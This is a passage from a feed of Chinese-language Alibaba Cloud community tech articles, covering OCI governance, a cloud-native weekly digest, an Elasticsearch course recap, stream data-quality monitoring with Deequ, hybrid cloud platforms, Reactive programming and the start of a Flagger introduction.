        OCI(Open Container Initiative)组织于 2015 年 6 月成立,OCI 组织提供了一个开放技术社区,旨在帮助容器领域的开发者能更好地共建一个中立开放的容器运行时标准。而 TOB Member 的责任是协助治理这一开放技术社区,以及 OCI 项目引进管理。目前 OCI 共设立了 9 个 TOB Member 席位,他们分别来自 Docker、RedHat、IBM、Google、AWS、Microsoft 和 SUSE。

        2.jpeg

        3 月 3 日,傅伟首次参加了 2020 年 OCI TOB 第一次会议,讨论提议 ORAS(OCI Registry as Storage) umoci 成为 OCI 子项目等事宜。

        在云原生时代,容器和镜像仓库已经成为 Kubernetes 生态中的基础设施。OCI 在容器和镜像标准上的优化将会直接提升 Kubernetes 在应用管理方面的体验。阿里巴巴自 2011 年的 T4 时代就开始研究容器技术,集团在线业务应用早已完成 100% 容器化改造,多年积累的容器经验和镜像快速分发能力已成为阿里巴巴大促场景下的核心技术。

        获得 OCI TOB 席位,是一种荣耀,也是一次重要的机会。未来阿里巴巴工程师将会以 OCI 为桥梁,将阿里巴巴积累的容器和镜像技术推广到社区,让更多的容器从业人员有所收益。

        附:OCI TOB 2020 Election: [https://www.opencontainers.org/blog/2020/02/12/oci-2020-elections-and-new-tob-members](https://www.opencontainers.org/blog/2020/02/12/oci-2020-elections-and-new-tob-members

        2群直播海报.png

        阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术圈。”

        ]]>
        API Server 负载均衡问题被解决 | 云原生生态周报 Vol. 40 Fri, 02 May 2025 09:39:04 +0800 周报40.png

        作者 | 何淋波、李鹏、陈俊、高相林、孙健波

        业界要闻

        1. CNCF 宣布 2020 年中国 KubeCon 取消

        由于新冠疫情影响,外国企业、开发者到访中国存在不确定性,加上召集演讲人、赞助商及参会者所遇到的困难,CNCF 宣布原定于 2020 年 7 月在上海举办的 KubeCon + CloudNativeCon + 开源峰会取消。

        同时,原计划于 3 月 30 日 - 4 月 2 日在荷兰阿姆斯特丹举办的 KubeCon + CloudNativeCon 峰会欧洲场也因疫情影响,被推迟到 2020 年 7 月或 8 月举行。而 KubeCon + CloudNativeCon North America 2020 则将按计划在 2020 年 11 月 17 日至 20 日在波士顿举行。

        1. Kubeflow 1.0 发布

        可以基于 Kubernetes 高效地构建、训练和部署AI应用。此次发布中包括的核心组件如下:

        • Jupyter Notebook controller: 用户可以方便使用 Jupyter Notebook 开发工具来开发新的机器学习模型;
        • TFJob and PyTorch Operator:用于模型训练;
        • kfctl:用于部署和管理 Kubeflow;
        • KFServing:机器学习模型的部署和管理;
        • Kubeflow UI:集中仪表板。
        1. 阿里云 ACK 1.16 版本正式灰度上线

        阿里云 ACK 整合阿里云虚拟化、存储、网络和安全能力,打造云端最佳容器化应用运行环境。Gartner 竞争格局国内唯一入选,Forrester 报告国内排名第一。欢迎试用!欢迎广大读者前来试用!

        上游重要进展

        Kubernetes

        1. 阿里经济体工程师解决困扰 K8s 社区多年的 API Server 负载均衡问题

        由于 API Server 和 client 是使用 HTTP2 协议连接,HTTP2 的多个请求都会复用底层的同一个 TCP 连接并且长时间不断开。而在 API Server 发生 RollingUpdate 或者某个 API Server 实例重启时,又或者 API Server 使用 MaxSurge=Replica 方式升级后, Load Balance 没有及时的将所有副本挂载完毕,client 能敏感的感知到连接的断开并立刻发起新的请求,这时候很容易引起较后启动(或者较后挂载 Load Balance)的 API Server 没有一点流量,并且可能永远都得不到负载均衡。

        蚂蚁金服的同学对这个问题做了修复,增加了一种通用的 HTTP filter,API Server 概率性(建议 1/1000)的随机关闭和 Client 的链接(向 Client 发送 GOAWAY)。关闭是优雅的关闭,不会影响  API Server 和 client 正在进行中的长时间请求(如 Watch 等),但是收到 GOAWAY 之后,client 新的请求就会重新建立一个新的 TCP 链接去访问 API Server 从而能让 Load Balance 再做一次负载均衡。

        这个修复增加了通用的 HTTP filter,能轻易的 port 回老版本的 Kubernetes,其它 HTTP2 server 也有类似问题也可以快速 port 这个通用的 filter(只依赖较新版本 golang.org/x/net package)。

        1. add KEP for cgroups v2 support

        给 kubelet 增加 cgroups v2 的支持。

        1. Disable HTTP2 while proxying a "Connection: upgrade" request

        针对 proxy connection upgrade 请求,强制采用 http1.1 协议。

        1. Fix ExternalTrafficPolicy support for Service ExternalIPs

        Service ExternalIPs 遵守 ExternalTrafficPolicy=local 规则,从而达到保留 Client 源 IP 目的。

        1. Allow signing controller to return intermediate certs

        由于 kubelet 证书轮转机制要求给 kubelet 返回签发的证书时,同时也带上签发者的 CA 信息,用于解决 kube-controller-manager 和 kube-apiserver 的 CA 配置不一致的问题。该 PR 只解决 kube-controller-manager 这块的问题,后续 kubelet 还需要配合修改。

        1. Use ip address from CNI output

        目前主要从容器的 eth device 获取容器 IP 信息,但是针对只使用 lo 和非 device(如: unix domain socket file)的容器当前的实现无法 cover,该 PR 利用 cni ADD 命令结果中返回的容器 IP 信息,而不从容器 eth device 获取 IP 信息。

        Knative 

        1. Knative Functions 支持

        Knative 当前轻松支持基于 HTTP 和事件驱动的容器扩缩容,但是为什么不往前一步支持 FaaS 呢? 别急,Knative 社区已经开始计划支持通过 Events 和 HTTP 触发“function”。

        开源项目推荐

        1. apiserver-network-proxy

        基于 grpc 的隧道实现,用于定制 kube-apiserver 的 proxy 请求转发。

        1. kubectl-debug

        新启动一个容器和目标 Pod 共享 pid/network/user/ipc 命名空间的方式,在新启动容器为目标 pod 定位问题。该工具可以以 kubectl plugin 方式运行。

        本周阅读推荐

        1. 《Bring your ideas to the world with kubectl plugins》

        推荐使用 kubectl-plugin 的方式往 kubectl 扩展用户的需求和功能。

        1. 《When You Do (and Don’t Need) a Service Mesh》

        从微服务数量、导入的紧迫性以及时机等方面分析是否需要使用 Service Mesh。

        1. 《从零开始入门 K8s | Kubernetes 网络模型进阶》

        本文将基于之前介绍的基本网络模型,进行了更深入的了解,希望给予读者一个更广更深的认知。

        1. 《Kubernetes 1.16 与 1.14 性能对比》

        本文主要从三个方面对 Kubernetes 1.16 与 1.14 的性能进行了对比,分析了 1.16 版本和 1.14 版本的区别。

        1. 《Kubernetes Release Note 解读(1.15, 1.16)》

        Kubernetes 1.16 版本相较于 1.14 版本有着众多演进和增强,本文对其一一进行了解读。

        2群直播海报.png

        阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术圈。”

        ]]>
        【Elasticsearch 入门公开课】本周回顾:从概念入手,了解 Elastic Stack 生态能力及应用场景 Fri, 02 May 2025 09:39:04 +0800 『Elasticsearch 入门课程23讲』是阿里云开发者社区与极客时间合作,为 Elasticsearch 技术学习与开发者 提供的23节免费入门课程,从概念入手,结合实际操作,由浅入深快速掌握 Elasticsearch ,做到有的放矢。

        讲师:阮一鸣——eBay Pronto 平台技术负责人、极客时间『Elasticsearch 核心技术与实战』课程讲师

        image.png

        往期课程

        1 | Elasticsearch课程介绍
        2 | 内容综述及学习建议
        3 | Elasticsearch简介及其发展历史
        4 | Elastic Stack家族成员及其应用场景
        5 | Elasticsearch的安装与简单配置
        6 | Kibanan的安装与界面快速浏览

        『Elasticsearch 入门课程23讲』目前已播出至第六讲,收到了不少朋友的好评与建议,同时为了大家能更好的学习课程内容,我们将对每周的课程做一个总结回顾,帮您更好的复习,以及记忆课程要点。

        课程为了更多同学能快速体验 Elasticsearch,为大家提供了免费的阿里云 Elasticsearch (3节点1核2G)的测试环境>>>>去开通

        知识点1:为什么要学 Elasticsearch


        Elasticsearch是一款非常强大的开源分布式搜索引擎,并且结合 Kibana、Logstash、 Beats 丰富的生态组件,也被广泛运用在大数据实时分析场景中,其中包括日志分析、指标监控、信息安全等领域。

        其高性能、容易使用、容易扩展的特性,被大量的互联网公司使用,其中包括小米、饿了么、滴滴出行、携程旅游,同时国内公有云企业阿里云与 Elastic 合作推出了云服务产品“阿里云Elasticsearch”

        image.png

        image.png

        知识点2:我们如何更好掌握 Elasticsearch


        本次课程,从“开发”、“运维”、“方案”三个维度,结合产品基本功能、底层原理、最佳实践的讲解,从概念入手,结合实践操作如【电影搜索】、【Stack Overflow 调查问卷数据分析】,做到真正“精通”。
        课程同样会覆盖 Elastic 认证考试全部知识点,其中涉及到数据,均保证真实及多样性

        image.png

        知识点3:Elasticsearch 发展历史


        Elasticsearch属于开源软件/上市公司—— Elastic Inc,是一款基于 Lunece 的开源分布式搜索分析引擎,目前公司市值超过50亿美金,Elasticsearch软件下载超过3.5亿,拥有10万+的社区成员、客户覆盖超过100个国家,并与国内外云服务商 Amazon、阿里巴巴深度合作。

        创始人 Shay Banon 基于 Lucene 在2004年开发了Compass,并在2010年 重写 Compass后,取名为 Elasticsearch 从而支持分布式、水平扩展能力,降低全文检索的学习曲线,并可被任何编程语言调用。自2010年2月第一次发布以来,目前已迭代到7.6版本。

        image.png

        知识点4 Elastic Stack 家族成员及其应用场景


        Elastic Stack 围绕 ELKB 构建出一套生态系统,适合大量应用场景

        Elasticsearch 拥有丰富的产品生态圈,从数据采集(Logstash、Beats)、存储/计算(Elasticsearch)到可视化管理【Kibana】,结合商业插件插件 X-pack,提供“搜索”、“日志分析”、“指标分析”、“安全分析”四大场景解决方案,并与国内外云服务企业合作,是一个全方面的产品生态圈。

        image.png

        结合业务场景与需求,我们可以基本分为两种业务架构

        搜索类—可集成数据库同步数据/独立作为数据存储使用

        image.png

        日志型—Logstash 和 Beats 满足不同数据源,Kafka作为消息队列

        image.png

        知识点5 如何安装/简单配置 Elasticsearch


        课程在开发环境中,单机部署多节点,便于学习了解 Elasticsearch 分布式句群的工作机制

        image.png

        image.png

        知识点6 如何安装/快速预览 Kibana


        Kibana 名字的含义=Kiwifruit + Banana,是 Elasticsearch 生态中的数据可视化工具,可以很好的帮助用户解开对数据的任何疑问,基于 Logstash 的工具,在2013年加入 Elastic 公司。

        从运行 Kibana后,尝试导入 Sample 数据,查看图形化工具 + Dashboard

        • 获取 Kibana 安装包,通过Docker在本地运行:https://www.elastic.co/cn/downloads/kibana
        • 解决安装并运行 Kibana
        • 配置与运行:无需修改配置,可直接运行
        • 导入 Sample 数据
        • 查看 Dashboard
        • 讲解开发利器 Kibana Console

        image.png

        下周课程预告


        点击预约课程

        7 | 在Docker容器中运行Elasticsearch Kibana和 Cerebro
        8 | Logstash安装与导入数据
        9 | 基本概念:索引、文档和REST API
        10 | 基本概念:节点、集群、分片及副本

        相关活动


        更多折扣活动,请访问阿里云 Elasticsearch 官网

        • 阿里云 Elasticsearch 商业通用版,1核2G首月免费
        阿里云 Elasticsearch 日志增强版,首月六折,年付六折
        阿里云 Logstash 2核4G首月免费


        image.png

        image.png

        ]]>
        【译】Databricks使用Spark Streaming和Delta Lake对流式数据进行数据质量监控介绍 Fri, 02 May 2025 09:39:04 +0800 原文链接:https://databricks.com/blog/2020/03/04/how-to-monitor-data-stream-quality-using-spark-streaming-and-delta-lake.html

        在这个一切都需要进行加速的时代,流数据的使用变得越来越普遍。我们经常不再听到客户问:“我可以流式传输这些数据吗?”,更多的是问:“我们能以多快的速度流式传输这些数据?”,而诸如Kafka和Delta Lake之类技术的普及更突显了这一势头。我们认为传统流式数据传输的一种形式是以非常快的速度到达的半结构化或非结构化(例如JSON)数据,通常情况下一批数据的量也比较小。这种形式的工作场景横跨各行各业,举一个这样的客户案例,某个证券交易所和数据提供商,他们负责每分钟流式传输数十万个数据项目,包括股票行情、新闻、报价及其他财务数据。该顾客使用Databricks、Delta Lake以及Structured Streaming,实时高可用地处理和分析这些流式数据。但是,随着使用流式数据普遍性的提升,我们见到了另一种类型的客户,他们使用流式技术进行低频次、类批处理的数据处理方式。在这种架构下,流式数据处理扮演的角色通常为监控特定的目录、S3存储桶或其他存放数据的区域,并且会在数据到达之后立即自动处理数据,这种架构消除了传统调度的许多负担,特别是在任务失败或只需要处理部分数据的情况下。所有这些应用场景都表明,流式技术已经不再只是用于实时或类实时的数据计算。

        尽管流式技术的出现有许多积极的方面,但这种体系结构也带来了一些麻烦。特别是,历史上一直存在着一个权衡:我们是要高质量的数据还是高速数据?实际上,这不是一个有意义的问题,对于所有实际操作来说,质量都必须与速度相关联,为了实现高速度,我们需要高质量的数据。毕竟,低质量、高速度的数据通常都需要分批进行进一步的处理;另一方面,高质量、低速度的数据不能满足许多现代场景的需要。随着越来越多的公司将流式传输数据作为其数据处理体系结构的关键,速度和质量都必须同时提高。

        在本博文中,我们将深入探讨一种数据管理架构,该架构可以在数据到达时,通过主动监控和分析来检测流式数据中损坏或不良的数据,并且不会造成瓶颈。

        构建流式数据分析和监控流程

        在Databricks,我们看到客户中不断涌现出许多数据处理模式,这些新模式的产生推动了可能的极限,在速度和质量问题上也不例外。为了帮助解决这一矛盾,我们开始考虑使用正确的工具,不仅可以支持所需的数据速度,还可以提供可接受的数据质量水平。Structured Streaming和Delta Lake非常适合用于数据获取和存储层,因为他们能够配合创造一个具有扩展性、容错性和类实时的系统,并且具有exactly-once处理保证

        为企业数据质量分析找到可接受的工具要困难一些,特别是这个工具需要具有对数据质量指标的状态汇总的能力。另外,还需要能够对整个数据集进行检查(例如检测出多少比例的记录为空值),这些都会随着所提取的数据量的增加而增加计算成本。这对所有流式系统而言都是需要的,这一要求就排除了很多可用的工具。

        在我们最初的解决方案中,我们选择了Amazon的数据质量检测工具Deequ,因为它能提供简单而强大的API,有对数据质量指标进行状态聚合的能力,以及对Scala的支持。将来,其他Spark原生的工具将提供额外的选择。

        E6F62374C183F78D34E7C65A8E53BECB.jpg

        流式数据质量监控的实现

        我们通过在EC2实例上运行一个小型的Kafka producer来模拟数据流,该实例将模拟的股票交易信息写入Kafka topic,并使用原生的Databricks连接器将这些数据导入到Delta Lake表当中。为了展示Spark Streaming中数据质量检查的功能,我们选择在整个流程中实现Deequ的不同功能:

        • 根据历史数据生成约束条件;
        • 使用foreachBatch算子对到达的数据进行增量质量分析;
        • 使用foreachBatch算子对到达的数据执行(较小的)单元测试,并将质量不佳的batch隔离到质量不佳记录表中;
        • 对于每个到达的batch,将最新的状态指标写入到Delta表当中;
        • 对整个数据集定期执行(较大的)单元测试,并在MLFlow中跟踪结果;
        • 根据验证结果发送通知(如通过电子邮件或Slack);
        • 捕获MLFlow中的指标以进行可视化和记录。

        我们结合了MLFlow来跟踪一段时间内数据性能指标的质量、Delta表的版本迭代以及结合了一个用于通知和告警的Slack连接器。整个流程可以用如下的图片进行表示:

        EE8D28E826D677F668E792DB0838C4F0.jpg

        由于Spark中具有统一的批处理/流式处理接口,因此我们能够在这个流程的任何位置提取报告、告警和指标,作为实时更新或批处理快照。这对于设置触发器或限制特别有用,因此,如果某个指标超过了阈值,则可以执行数据质量改善措施。还要注意的是,我们并没有对初始到达的原始数据造成影响,这些数据将立即提交到我们的Delta表,这意味着我们不会限制数据输入的速率。下游系统可以直接从该表中读取数据,如果超过了上述任何触发条件或质量阈值,则可能会中断。此外,我们可以轻松地创建一个排除质量不佳记录的view以提供一个干净的表。

        在一个较高的层次,执行我们的数据质量跟踪和验证的代码如下所示:

        spark.readStream
        .table("trades_delta")
        .writeStream
        .foreachBatch { (batchDF: DataFrame, batchId: Long) =>
        
            // reassign our current state to the previous next state
            val stateStoreCurr = stateStoreNext
        
            // run analysis on the current batch, aggregate with saved state
            val metricsResult = AnalysisRunner.run(data=batchDF, ...)
            
            // verify the validity of our current microbatch
            val verificationResult = VerificationSuite()
                .onData(batchDF)
                .addCheck(...).run()
        
            // if verification fails, write batch to bad records table
            if (verificationResult.status != CheckStatus.Success) {...}
        
            // write the current results into the metrics table
            Metric_results.write
            .format("delta")
            .mode("overwrite")
            .saveAsTable("deequ_metrics")
        }
        .start()

        使用数据质量工具Deequ

        在Databricks中使用Deequ是相对比较容易的事情,你需要首先定义一个analyzer,然后在dataframe上运行该analyzer。例如,我们可以跟踪Deequ本地提供的几个相关指标检查,包括检查数量和价格是否为非负数、原始IP地址是否不为空以及符号字段在所有事务中的唯一性。Deequ的StateProvider对象在流式数据配置中特别有用,它能允许用户将我们指标的状态保存在内存或磁盘中,并在以后汇总这些指标。这意味着每个处理的批次仅分析该批次中的数据记录,而不会分析整个表。即使随着数据大小的增长,这也可以使性能保持相对稳定,这在长时间运行的生产环境中很重要,因为生产环境需要在任意数量的数据上保持一致。

        MLFlow还可以很好地跟踪指标随时间的演变,在我们的notebook中,我们跟踪在foreachBatch代码中分析的所有Deequ约束作为指标,并使用Delta的versionID和时间戳作为参数。在Databricks的notebook中,集成的MLFlow服务对于指标跟踪特别方便。

        通过使用Structured Streaming、Delta Lake和Deequ,我们能够消除传统情况下数据质量和速度之间的权衡,而专注于实现两者的可接受水平。这里特别重要的是灵活性——不仅在如何处理不良记录(隔离、报错、告警等),而且在体系结构上(例如何时以及在何处执行检查?)和生态上(如何使用我们的数据?)。开源技术(如Delta Lake、Structured Streaming和Deequ)是这种灵活性的关键。随着技术的发展,能够使用最新最、最强大的解决方案是提升其竞争优势的驱动力。最重要的是,你的数据的速度和质量一定不能对立,而要保持一致,尤其是在流式数据处理越来越靠近核心业务运营时。很快,这将不会是一种选择,而是一种期望和要求,我们正朝着这个未来方向一次一小步地不断前进。

        ]]>
        各大公有云服务商的混合云技术底座 Fri, 02 May 2025 09:39:04 +0800 除了阿里云的飞天,其他公有云服务商的混合云底座是什么样的?其本质都是好将公有云技术架构延伸到私有云,在用户自己的数据中心部署一套与公有云同样架构的云。因为技术的一致性,很容易打造混合云的方案
        本文归集了AWS、阿里云、Google、IBM、微软、Oracle五家混合云方案,并进行了简单介绍。
        一、 AWS
         名称:AWS Outposts
         AWS Outposts是将AWS的基础架构和运营模型本地化,在企业内部部署和AWS中使用相同的API、工具、硬件,以及功能,实现真正一致的混合体验。
         将AWS品牌的硬件引入传统数据中心,
        二、 阿里云
         名称:飞天(Apsara Stack)
          Apsara Stack 是面向中大型企业客户的全栈专有云,基于阿里云公用云长期实战经验积累的原生分布式架构。Apsara Stack 的技术核心是由阿里云公用云长期实战经验积累而来,是全球广大使用者高压验证过的稳定原生架构。支持企业客户在自己的数据中心部署全面的阿里云服务,让在本地运行与阿里云公用云同款的超大规模云端运算成为可能。并同时满足政企机构的安全合规、数据主权、或本地化体验等建设需求。
        三、 Google
         GKE On-Prem
         GKE On-Prem,旨在为企业客户提供一种立足内部与公有云端的应用程序基础设施统一管理方式,以供用户在自有数据中心内运行。
        四、 微软
         名称:Azure Stack
         一种 Azure 扩展,用于跨数据中心、边缘、位置、远程 Office 和云一致地生成和运行混合应用程序。使用此产品组合,用户可以跨位置边界一致地构建、部署和运行混合和边缘计算应用程序,从而提供更多选择和灵活性,以解决各种工作负载。
        五、 Oracle
         名称:Oracle Linux Cloud Native Framework
         是一套云端原生应用开发框架。底层以Oracle OKE为基础。包括Oracle Linux云本机环境和Oracle云本机服务。Oracle Linux Cloud原生环境是一组精选自CNCF项目的开源软件,如Kubernetes、Docker、Kata Containers、Gluster等。可以在本地或云中开发基于微服务的应用程序。然后,内部微服务可以使用其容器映像移植到云中,反之亦然。还可以使用VirtualBox创建一个在虚拟机中运行容器的环境,然后可以将该环境导出到Oracle云。
        六、 IBM
         IBM Cloud Private
         IBM Cloud™ Private 是一个可靠且可扩展的云平台,可在用户自己的基础架构上运行。它在容器、Kubernetes 和 Cloud Foundry 等开源框架的基础上构建。此外,它还提供面向自助服务部署、监控、日志记录和安全性的通用服务,以及包含中间件、数据和分析的产品组合。

        ]]>
        Reactive架构才是未来 Fri, 02 May 2025 09:39:04 +0800 背景

        最近一些同学在使用CSE Fn(Faas 平台)过程中, 经常会询问Reactive编程模型的价值, 原理以及如何正确使用它。所以根据前段时间的学习、使用经历,整理了这篇文章。这篇文章不会讲解如果使用相关的API,主要讲解它的概念,规范,价值,原理。如有理解不对的地方,欢迎斧正.

        Reactive和Reactive programming

        Reactive直接翻译的意思式反应式,反应性. 咋一看,似乎不太好懂。
        举个例子: 在Excel里,C单元格上设置函数: Sum(A+B). 当你改变单元格A或者单元格B的数值时,单元格C的值同时也会发生变化. 这种行为就是Reactive.

        在计算机编程领域, Reactive一般指的是Reactive programming. 指的是一种面向数据流并传播事件的异步编程范式(asynchronous programming paradigm).

        先举个例子大家感受一下:

        public static void main(String[] args) {
                FluxProcessor<Integer, Integer> publisher = UnicastProcessor.create();
                publisher.doOnNext(event -> System.out.println("receive event: " + event)).subscribe();
        
                publisher.onNext(1); // print 'receive event: 1'
                publisher.onNext(2); // print 'receive event: 2'
        }

        (代码1)

        以上例代码(使用Reactor类库)为例, publisher产生了数据流(1,2), 并且传播给了OnNext事件, 上例中lambda响应了该事件,输出了相应的信息. 上例代码中生成数据流和注册/执行lambda是在同一线程中,但也可以在不同线程中.

        注: 如果上述代码执行逻辑有些疑惑,可以暂时将lambda理解成callback就可以了.

        Reactive Manifesto

        对于Reactive现在你应该大致有一点感觉了,但是Reactive有什么价值, 有哪些设计原则, 估计你还是有些模糊. 这就是Reactive Manifesto要解决的疑问了.

        使用Reactive方式构建的系统具有以下特征:

        即时响应性(Responsive): :只要有可能, 系统就会及时地做出响应。 即时响应是可用性和实用性的基石, 而更加重要的是,即时响应意味着可以快速地检测到问题并且有效地对其进行处理。 即时响应的系统专注于提供快速而一致的响应时间, 确立可靠的反馈上限, 以提供一致的服务质量。 这种一致的行为转而将简化错误处理、 建立最终用户的信任并促使用户与系统作进一步的互动。

        回弹性(Resilient):系统在出现失败时依然保持即时响应性。 这不仅适用于高可用的、 任务关键型系统——任何不具备回弹性的系统都将会在发生失败之后丢失即时响应性。 回弹性是通过复制、 遏制、 隔离以及委托来实现的。 失败的扩散被遏制在了每个组件内部, 与其他组件相互隔离, 从而确保系统某部分的失败不会危及整个系统,并能独立恢复。 每个组件的恢复都被委托给了另一个(外部的)组件, 此外,在必要时可以通过复制来保证高可用性。 (因此)组件的客户端不再承担组件失败的处理。

        弹性(Elastic): 系统在不断变化的工作负载之下依然保持即时响应性。 反应式系统可以对输入(负载)的速率变化做出反应,比如通过增加或者减少被分配用于服务这些输入(负载)的资源。 这意味着设计上并没有争用点和中央瓶颈, 得以进行组件的分片或者复制, 并在它们之间分布输入(负载)。 通过提供相关的实时性能指标, 反应式系统能支持预测式以及反应式的伸缩算法。 这些系统可以在常规的硬件以及软件平台上实现成本高效的弹性。

        消息驱动(Message Driven):反应式系统依赖异步的消息传递,从而确保了松耦合、隔离、位置透明的组件之间有着明确边界。 这一边界还提供了将失败作为消息委托出去的手段。 使用显式的消息传递,可以通过在系统中塑造并监视消息流队列, 并在必要时应用回压, 从而实现负载管理、 弹性以及流量控制。 使用位置透明的消息传递作为通信的手段, 使得跨集群或者在单个主机中使用相同的结构成分和语义来管理失败成为了可能。 非阻塞的通信使得接收者可以只在活动时才消耗资源, 从而减少系统开销。

        reactive_ manifesto.png

        注:

        1. 上面描述有很多专有名词, 可能有些疑惑,可以看下相关名词解释
        2. 为什么使用Reactive方式构建的系统会具有以上价值, 我稍后在Reactor章节中介绍

        Reactive Stream

        知道了Reactive的概念,特征和价值后,是否有相关的产品或者框架来帮助我们构建Reactive式系统呢?在早些时候有一些类库(Rxjava 1.x, Rx.Net)可以使用,但是规范并不统一,所以后来Netfilx, Pivotal等公司就制定了一套规范指导大家便于实现它(该规范也是受到早期产品的启发),这就是Reactive Stream的作用。

        Reactive Stream是一个使用非阻塞back pressure(回压)实现异步流式数据处理的标准. 目前已经在JVMJavaScript语言中实现同一套语意的规范; 以及尝试在各种涉及到序列化和反序列化的传输协议(TCP, UDP, HTTP and WebSockets)基础上,定义传输reactive数据流的网络协议.

        The purpose of Reactive Streams is to provide a standard for asynchronous stream processing with non-blocking backpressure.

        • Reactive Streams解决的问题场景: 当遇到未预料数据流时,依然可以在可控资源消耗下保持系统的可用性.
        • Reactive Streams的目标: 控制在一个异步边界的流式数据交换。例如传递一个数据到另外一个线程或者线程池, 确保接收方没有buffer(缓存)任意数量的数据.而back pressure(回压)是解决这种场景的不可或缺的特性
        • Reactive Streams规范适用范围: 此标准只描述通过回压来实现异步流式数据交换的必要的行为和实体,最小接口, 例如下方的Publisher, Subscriber。Reactive Streams只关注在这些组件之间的流式数据中转, 并不关注流式数据本身的组装,分割,转换等行为, 例如 map, zip等operator.
        • Reactive Streams规范包括:

          • Publisher: 产生一个数据流(可能包含无限数据), Subscriber们可以根据它们的需要消费这些数据.
        1. interface Publisher {

          public void subscribe(Subscriber<? super T> s);

          }

          * **Subscriber**: Publisher创建的元素的接收者. 监听指定的事件,例如OnNext,OnComplete,OnError等
          
        2. interface Subscriber {

          public void onSubscribe(Subscription s);
          public void onNext(T t);
          public void onError(Throwable t);
          public void onComplete();

          }

          
          * **Subscription**: 是Publisher和Subscriber一对一的协调对象. Subscriber可以通过它来向Publisher取消数据发送或者request更多数据.
          
        3. interface Subscription {

          public void request(long n);
          public void cancel();

          }

        * **Processor**: 同时具备Publisher和Subscriber特征. 代码1中FluxProcessor既可以发送数据(OnNext),也可以接收数据(doOnNext).
        
        public interface Processor<T, R> extends Subscriber<T>, Publisher<R> {
        }

        为什么规范强调使用非阻塞异步方式而不是阻塞同步方式?

        • 同步方式一般通过多线程来提高性能, 但系统可创建的线程数是有限的, 且线程多以后造成线程切换开销
        • 同步方式很难进一步提升资源利用率
        • 同步调用依赖的系统出现问题时,自身稳定性也会受到影响

        实现非阻塞的方式有很多种,为什么规范会选择上述的实现方式呢?

        • Thread

          • thread不是非常轻量(相比下面几种实现方案)
          • thread数量是有限的, 最终可能会成为主要瓶颈
          • 有一些平台可能不支持多线程. 例如: JavaScript
          • 调试,实现上有一定复杂性
        • Callback

          • 多层嵌套callback比较复杂,容易形成"圣诞树"(callback hell)
          • 错误处理比较复杂
          • 多用于event loop架构的语言中, 例如JavaScript
        • Future

          • 无法逻辑组合各种行为, 支持业务场景有限.
          • 错误处理依然复杂
        • Reactive Extensions(Rx)

          • 和Future很相似。Future可以认为返回一个独立的元素, 而Rx返回一个可以被订阅的Stream.
          • 多平台支持同一套规范
          • 同一套API同时支持异步、同步
          • 错误处理方便
        • Coroutines

          • kotlin coroutinegoroutine在语法层面上提供异步支持, 而且比Rx更简洁,但无法跨多个语言平台形成统一的规范。

        Reactive的实现原理个人认为还是回调,kotlin协程实现原理同样也是回调。但实现回掉的方式不一样。一个是通过事件传播, 一个是通过状态机.但cooutine编程的易用性明显强于Rx, 后面有空我会专门写篇文章介绍kotlin coroutine的实现原理.

        Reactor

        有了Reactive Stream这个规范,就会有相应实现该规范的类库. Reactor就是其中之一。

        Reactor是遵守Reactive Stream规范构建非阻塞应用的Java语言Reactive类库, 已经在spring 5中集成, 与他相似的类库有RxJava2, RxJs, JDK9 Flow等。

        CSE Fn目前使用Reactor来构建整个系统,包括函数应用和各种核心应用(逻辑架构). 根据我们压测结果显示, 使用Reactive方式构建的系统确实会有这些特点:

        • 回弹性(Resilient): 当函数出现严重超时时(rt>=10s),函数上游的broker,gateway应用几乎无任何影响.
        • 及时响应性: 不管是高并发场景(资源足够),还是正常场景,RT表现一致.

        另外从原理上,我认为资源利用率吞吐量也会高于非反应式的应用.

        为什么Reactive的架构系统有这些特点?

        CSE Fn主要做了两件事情:

        1. 涉及到IO的地方几乎全异步化。例如中间件(HSF, MetaQ等提供异步API)调用
        2. IO线程模型变化. 使用较少(一般CPU核数)线程处理所有的请求

        传统Java应用IO线程模型: 参考Netty中Reactor IO(worker thread pool)模型, 下方伪代码(kotlin)进行了简化。

        Screen Shot 2019-08-30 at 12.49.32 PM.png

        // 非阻塞读取客户端请求数据(in), 读取成功后执行lambda.
        inChannel.read(in) {
            workerThreadPool.execute{
              // 阻塞处理业务逻辑(process), 业务逻辑在worker线程池中执行,同步执行完后,再向客户端返回输出(out)
              val out = process(in)
              outChannel.write(out)
            }  
        }

        Reactive应用IO线程模型: IO线程也可以执行业务逻辑(process), 可以不需要worker线程池
        Screen Shot 2019-08-30 at 12.50.36 PM.png

        // 非阻塞读取客户端请求数据(in), 读取成功后执行lambda
        inChannel.read(in) {
            // IO线程执行业务逻辑(process),  然后向客户端返回输出(out). 这要求业务处理流程必须是非阻塞的.
            process(in){ out->
                outChannel.write(out) {
                    // this lambda is executed when the writing completes
                ...
                }
            }
        }

        如何开始Reactive Programing

        以Reactive方式构建的系统有很多值得学习和发挥价值的地方,但坦白讲Reactive programing方式目前接受程度并不高.特别是使用Java语言开发同学,我个人也感同身受,因为这和Java面向命令控制流程的编程思维方式有较大差异。所以这里以Reactor(Java)学习为例:

        总结

        反应式的系统有很多优点,但是完整构建反应式的系统却并不容易。不仅仅是语言上的差异,还有一些组件就不支持非阻塞式的调用方式,例如: JDBC. 但是有一些开源组织正在推动这些技术进行革新, 例如: R2DBC。 另外,为了方便构建反应式系统,一些组织/个人适配了一些主流技术组件reactor-core, reactor-netty, reactor-rabbimq, reactor-kafka等,来方便完整构建反应式系统。

        当你的系统从底层到上层,从系统内部到依赖外部都变成了反应式, 这就形成了Reactive架构.
        这种架构价值有多大?未来可期.

        参考

        https://www.reactivemanifesto.org/
        https://www.reactive-streams.org/
        https://kotlinlang.org/docs/tutorials/coroutines/async-programming.html
        https://projectreactor.io/docs/core/release/reference/index.html

        ]]>
        Flagger(应用自动发布)介绍和原理剖析 Fri, 02 May 2025 09:39:04 +0800 简介

        Flagger是一个能使运行在k8s体系上的应用发布流程全自动(无人参与)的工具, 它能减少发布的人为关注时间, 并且在发布过程中能自动识别一些风险(例如:RT,成功率,自定义metrics)并回滚.

        主要特性

        features

        整体架构

        arch
        简单介绍下上图含义:
        • primary service: 服务稳定版本. 可以理解为已发布在线的服务
        • canary service: 即将发布的新版本服务.
        • Ingress: 服务网关.
